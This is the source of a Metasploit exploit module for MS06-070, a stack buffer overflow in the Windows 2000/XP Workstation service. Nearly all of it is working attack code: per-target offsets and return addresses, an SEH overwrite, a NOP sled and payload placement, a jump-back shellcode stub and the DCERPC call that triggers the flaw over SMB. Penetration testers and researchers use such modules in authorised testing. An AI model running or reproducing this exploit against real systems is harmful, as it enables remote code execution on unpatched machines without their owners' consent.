metasploit-framework/modules/exploits/windows/smb/ms06_070_wkssvc.rb

190 lines
5.8 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking # Requires valid/working DOMAIN + DC
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect
function using the Workstation service in Windows 2000 SP4 and Windows XP SP2.
In order to exploit this vulnerability, you must specify a the name of a
valid Windows DOMAIN. It may be possible to satisfy this condition by using
a custom dns and ldap setup, however that method is not covered here.
Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator
credentials are required to reach the vulnerable code. Windows XP SP1 only
requires valid user credentials. Also, testing shows that a machine already
joined to a domain is not exploitable.
},
'Author' =>
[
'jduck'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-4691' ],
[ 'OSVDB', '30263' ],
[ 'BID', '20985' ],
[ 'MSB', 'MS06-070' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic Targetting', { } ],
[ 'Windows 2000 SP4',
{
'Offset' => (1058*2),
'Ret' => 0x75022ac4 # pop/pop/ret in ws2help.dll
}
],
[ 'Windows XP SP0/SP1',
{
'Offset' => (1290*2),
'Ret' => 0x71ab21cd # pop/pop/ret in ws2_32.dll
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 14 2006'))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use.", 'WKSSVC']),
# NOTE: a valid domain name is required. See description.
OptString.new('DOMAIN', [ true, "The domain to validate prior to joining it."])
], self.class)
end
def exploit
connect()
smb_login()
mytarget = nil
if (target.name =~ /Automatic/)
case smb_peer_os()
when 'Windows 5.0'
print_status("Detected a Windows 2000 target")
mytarget = targets[1]
when 'Windows 5.1'
begin
smb_create("\\SRVSVC")
print_status("Detected a Windows XP SP0/SP1 target")
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if (e.error_code == 0xc0000022)
fail_with(Failure::Unknown, "Windows XP SP2 requires Administrator privileges!")
end
print_status("Detected a Windows XP target (unknown patch level)")
end
mytarget = targets[2]
else
fail_with(Failure::NoTarget, "No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
end
else
mytarget = target
end
handle = dcerpc_handle(
'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
)
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
print_status("Building the stub data...")
distance = mytarget['Offset']
hostname = make_nops(distance - payload.encoded.length)
hostname << payload.encoded
hostname << generate_seh_record(mytarget.ret)
hostname << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
name = datastore['DOMAIN'] + "\\\\L"
name = Rex::Text.to_unicode(name)
name << hostname
name << Rex::Text.to_unicode(rand_text_alphanumeric(1000) * 3)
name << "\x00\x00"
stub =
NDR.uwstring("\\\\#{datastore['RHOST']}") +
NDR.UnicodeConformantVaryingStringPreBuilt(name) +
NDR.uwstring("") +
NDR.uwstring("") +
NDR.long(0) +
NDR.long(1)
print_status("Calling the vulnerable function...")
begin
dcerpc.call(0x16, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end
# Cleanup
handler
disconnect
end
end
=begin
The IDL for NetrJoinDomain2 looks like this:
long _NetrJoinDomain2@28 (
[in][unique][string] wchar_t * arg_1,
[in][string] wchar_t * arg_2,
[in][unique][string] wchar_t * arg_3,
[in][unique][string] wchar_t * arg_4,
[in][unique] struct_C * arg_5,
[in] long arg_6
);
1. --> dns server - query for IN.SRV _ldap._tcp.dc._msdcs.DOMAIN
2. <-- dns server - response including answer and additional record.
answer: whateverserver.DOMAIN priority 0 / weight 100 / port 389
additional: IN.A address of whateverserver.DOMAIN
3. --> ldap server - baseObject query with filter/attributes:
- filter: (&(&(DnsDomain=DOMAIN)(Host=TARGETHOSTNAME))(NtVer=06:00:00:00))
- attributes: AttributeDescriptionList: NetLogon
4. <-- ldap server - searchResDone success, attributes data
- PartialAttributeList netlogon - 1 item
- type 23, flags 0x1fd, domain GUID,
forest, domain, hostname, netbios domain, netbios hostname,
user, site, client site, version, lmtoken, nttoken
5. validated.
=end